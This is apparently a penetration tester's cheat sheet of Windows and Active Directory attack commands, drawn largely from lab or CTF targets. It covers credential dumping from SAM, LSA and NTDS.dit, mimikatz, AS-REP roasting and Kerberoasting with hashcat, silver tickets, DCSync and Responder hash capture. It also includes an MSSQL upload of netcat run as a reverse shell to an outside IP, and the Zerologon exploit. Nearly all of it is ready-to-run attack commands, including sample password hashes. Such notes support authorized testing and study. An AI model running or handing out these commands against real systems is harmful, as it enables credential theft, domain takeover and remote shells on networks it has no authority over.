Last updated
# Dumps the SAM db (local user info and hashed passwords)
nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --sam
# Dumps LSA secrets (cached creds / passwords)
nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --lsa
# Dumps NTDS.dit (AD db, user info, and password hashes)
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds
# Registry
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
# SAM Dump One line
reg save hklm\sam sam && reg save hklm\system system && reg save hklm\security security
# Collect users to spray or enume users
cat sam.hashes | cut -d ":" -f 1 > users.txt
kerbrute userenum -d resourced.local --dc 10.10.110.45 -t 10 -v users.txt
# Dump hashes
impacket-secretsdump -sam sam -security security -system system LOCAL
impacket-secretsdump -hashes :a51493b0b06e5e35f855245e71af1d14 DOMAIN/administrator@IP
nxc winrm resourced.local -u users.txt -H hashes.txt
\L.Livingstone:19a3a7550ce8c505c2d46b5e39d6f808 (Pwn3d!)
evil-winrm -i resourced.local -u L.Livingstone -H '19a3a7550ce8c505c2d46b5e39d6f808'# One liner
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
.\mimikatz.exe "token::elevate" "privilege::debug" "ts::logonpasswords" "sekurlsa::logonpasswords" "exit"
token::elevate
sekurlsa::logonpasswords
lsadump::secrets
lsadump::sam
lsadump::dcsync /user:krbtgt
lsadump::lsa /patch# Extract domain user password hashes from the NTDS.dit file on a DC
# (requires SYSTEM access)
Syntax: impacket-secretsdump -ntds <NTDS_path> -system <SYSTEM_hive_path> -dc-ip <DC_IP> <domain>/<user>:<pass>@<host>
impacket-secretsdump -ntds C:\Windows\NTDS\ntds.dit -system C:\Windows\System32\Config\system -dc-ip 10.10.42.228 spookysec.local/backup:[email protected]# Impacket
impacket-GetNPUsers -dc-ip 192.168.161.70 -request -outputfile hashes.asreproast corp.com/pete
# Rubeus
.\Rubeus.exe asreproast /nowrap
# NXC
nxc ldap 10.10.194.140 -u user -p pass --asreproast asrep.txt
# Crack the hash
hashcat --help | grep -i "Kerberos"
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
# To identify users with "Do not require Kerberos preauthentication" option enabled
Get-DomainUser -PreauthNotRequired #PowerView
impacket-GetNPUsers # Kali# Rubeus.exe
# https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
# impacket-GetUserSPNs
impacket-GetUserSPNs domain.tld/user:'pass' -dc-ip IP -request
# NXC
nxc ldap 10.10.194.140 -u user -p pass --kerberoasting kerb.txt
# Crack the TGS-REP hash
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force# Identify SPNs
GetUserSPNs.py intelligence.htb/svc_int$ -hashes :d64b83fe606e6d3005e20ce0ee932fe2
# Craft a Silver Ticket to impersonate Administrator
getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -impersonate Administrator
# Sync my clock with the DC to avoid Kerberos "Clock skew too great" errors
date
apt-get install chrony # Install time sync utility
timedatectl set-ntp true # Enable NTP
ntpdate IP # Sync time with the DC
# Use Kerberos auth to interact with SMB shares on the DC
smbclient.py -k intelligence.htb/[email protected] -no-pass# Exploit Locally
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
# Exploit Remotely
impacket-secretsdump -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
# -just-dc-user, -pwd-last-set, -history# /etc/responder/Responder.conf
responder -I tun0
url=//192.168.40.155/dir
impacket-smbserver share . -smb2support
dir \\IP\share
net use x: \\IP\share
\\IP\ # Via explorer
# Then, crack the hash or PtH with the NTLM hash
john user.hash --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt
https://book.qaisqais.com/network/ad/lateral-movement-ad#pass-the-hash# Connect
impacket-mssqlclient user:[email protected] -windows-auth
# Upload
nxc mssql 10.10.152.148 -u user -p pass --put-file nc64.exe c:\Users\Public\nc64.exe
# Execute
nxc mssql 10.10.152.148 -u user -p pass -x "C:\Users\Public\nc64.exe -e cmd.exe 192.168.45.183 443
# Easy but dangerous attack to run in an environment.
# Attacking a DC, setting the pwd to null, and taking over the DC.
# Check: https://github.com/SecuraBV/CVE-2020-1472
python3 zerologon_check.py <DC> <DC_IP>
# Exploit: https://github.com/dirkjanm/CVE-2020-1472
python3 cve-2020-1472-exploit.py <DC> <DC_IP>